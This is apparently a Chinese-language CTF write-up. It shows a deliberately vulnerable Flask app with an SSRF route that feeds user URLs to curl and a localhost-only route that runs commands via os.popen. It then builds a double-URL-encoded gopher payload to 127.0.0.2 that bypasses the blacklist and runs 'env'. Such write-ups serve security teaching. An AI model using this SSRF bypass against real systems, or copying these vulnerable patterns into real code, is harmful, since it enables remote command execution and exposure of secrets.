1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from flask import Flask, request, send_file, render_template_string import os from urllib.parse import urlparse, urlunparse import subprocess import socket import hashlib import base64 import random app = Flask(__name__) BlackList = [ "127.0.0.1" ] @app.route('/Login', methods=['GET', 'POST']) def login(): junk_code() if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest(): return b64e(f"Welcome back, {username}!") return b64e("Invalid credentials!") return render_template_string(""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .container { max-width: 400px; margin-top: 100px; } .card { border: none; border-radius: 10px; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .card-header { background-color: #007bff; color: white; text-align: center; border-radius: 10px 10px 0 0; } .btn-primary { background-color: #007bff; border: none; } .btn-primary:hover { background-color: #0056b3; } </style> </head> <body> <div class="container"> <div class="card"> <div class="card-header"> <h3>Login</h3> </div> <div class="card-body"> <form method="POST"> <div class="mb-3"> <label for="username" class="form-label">Username</label> <input type="text" class="form-control" id="username" name="username" required> </div> <div class="mb-3"> <label for="password" class="form-label">Password</label> <input type="password" class="form-control" id="password" name="password" required> </div> <button type="submit" class="btn btn-primary w-100">Login</button> </form> </div> </div> </div> </body> </html> """) @app.route('/Gopher') def visit(): url = request.args.get('url') if url is None: return "No url provided :)" url = urlparse(url) realIpAddress = socket.gethostbyname(url.hostname) if url.scheme == "file" or realIpAddress in BlackList: return "No (≧∇≦)" result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True) return result.stdout @app.route('/RRegister', methods=['GET', 'POST']) def register(): junk_code() if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if username in users: return b64e("Username already exists!") users[username] = {'password': hashlib.md5(password.encode()).hexdigest()} return b64e("Registration successful!") return render_template_string(""" xxx """) @app.route('/Manage', methods=['POST']) def cmd(): if request.remote_addr != "127.0.0.1": return "Forbidden!!!" if request.method == "GET": return "Allowed!!!" if request.method == "POST": return os.popen(request.form.get("cmd")).read() @app.route('/Upload', methods=['GET', 'POST']) def upload_avatar(): junk_code() if request.method == 'POST': username = request.form.get('username') if username not in users: return b64e("User not found!") file = request.files.get('avatar') if file: file.save(os.path.join(avatar_dir, f"{username}.png")) return b64e("Avatar uploaded successfully!") return b64e("No file uploaded!") return render_template_string(""" xxx """) @app.route('/app.py') def download_source(): return send_file(__file__, as_attachment=True) if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
|
命令执行路由必须由本地访问
1 2 3 4 5 6 7 8
| @app.route('/Manage', methods=['POST']) def cmd(): if request.remote_addr != "127.0.0.1": return "Forbidden!!!" if request.method == "GET": return "Allowed!!!" if request.method == "POST": return os.popen(request.form.get("cmd")).read()
|
利用SSRF,请求/Manage
路由,但是http://协议并不能携带POST参数,我们需要构造gopher请求
Gopher协议的URL以gopher://
开头,使用简单的请求-响应模式
Gopher URL的标准结构如下:
1
| gopher://<host>:<port>/<gopher-path>
|
<host>
: 目标服务器IP或域名
<port>
: 目标服务端口(默认70)
<gopher-path>
: 协议路径(包含请求数据编码)
关键语法规则
- 请求数据编码
Gopher协议的 部分会被 原样转换为原始TCP数据流 发送给目标服务器,需按以下规则编写:
换行符:必须使用 \r\n(即URL编码为%0D%0A)
特殊字符:需进行URL编码(如空格→%20,问号→%3F)
首字符:第一个字符表示资源类型(可忽略,通常用_或1占位)
2. 数据流格式
构造的Gopher请求本质是发送原始TCP数据流。
1 2 3 4 5 6
| _POST /Manage HTTP/1.1 host:127.0.0.1 Content-Type:application/x-www-form-urlencoded Content-Length:7
cmd=env
|
因为接受参数的时候就会解一次,编码一次到gopher://调用的时候就不是编码的了,所以必须url编码两次
1
| _POST%2520/Manage%2520HTTP/1.1%250D%250Ahost:127.0.0.1%250D%250AContent-Type:application/x-www-form-urlencoded%250D%250AContent-Length:7%250D%250A%250D%250Acmd=env
|
加上gopher://127.0.0.2:8000/
1
| gopher://127.0.0.2:8000/_POST%2520/Manage%2520HTTP/1.1%250D%250Ahost:127.0.0.1%250D%250AContent-Type:application/x-www-form-urlencoded%250D%250AContent-Length:7%250D%250A%250D%250Acmd=env
|